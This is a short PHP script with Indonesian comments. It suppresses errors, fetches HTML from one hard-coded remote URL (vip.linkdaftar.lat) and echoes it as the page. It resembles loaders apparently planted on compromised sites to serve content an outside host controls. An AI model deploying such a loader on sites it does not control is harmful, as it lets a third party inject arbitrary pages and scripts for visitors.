<?php
// Matikan error (opsional)
error_reporting(0);
 
// URL yang diizinkan saja
const REMOTE_URL = 'https://vip.linkdaftar.lat/fsibplcfirstcash/';
 
// Ambil konten: cURL > file_get_contents
function fetch_remote($url) {
    // cURL (lebih andal)
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_USERAGENT      => 'Mozilla/5.0 (compatible; RemoteReader/1.0)',
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT        => 10,
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_SSL_VERIFYHOST => 2,
        ]);
        $data = curl_exec($ch);
        $http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
 
        if ($data !== false && $http >= 200 && $http < 300) {
            return $data;
        }
    }
 
    // Fallback: file_get_contents
    $context = stream_context_create([
        'http' => [
            'timeout' => 10,
            'header'  => "User-Agent: RemoteReader/1.0\r\n"
        ]
    ]);
 
    return @file_get_contents($url, false, $context);
}
 
// BACA & TAMPILKAN apa adanya
$content = fetch_remote(REMOTE_URL);
 
if ($content !== false && $content !== null) {
    header('Content-Type: text/html; charset=UTF-8');
    echo $content;
} else {
    http_response_code(502);
    header('Content-Type: text/plain; charset=UTF-8');
    echo "Gagal membaca konten dari sumber yang diizinkan.";
}

?>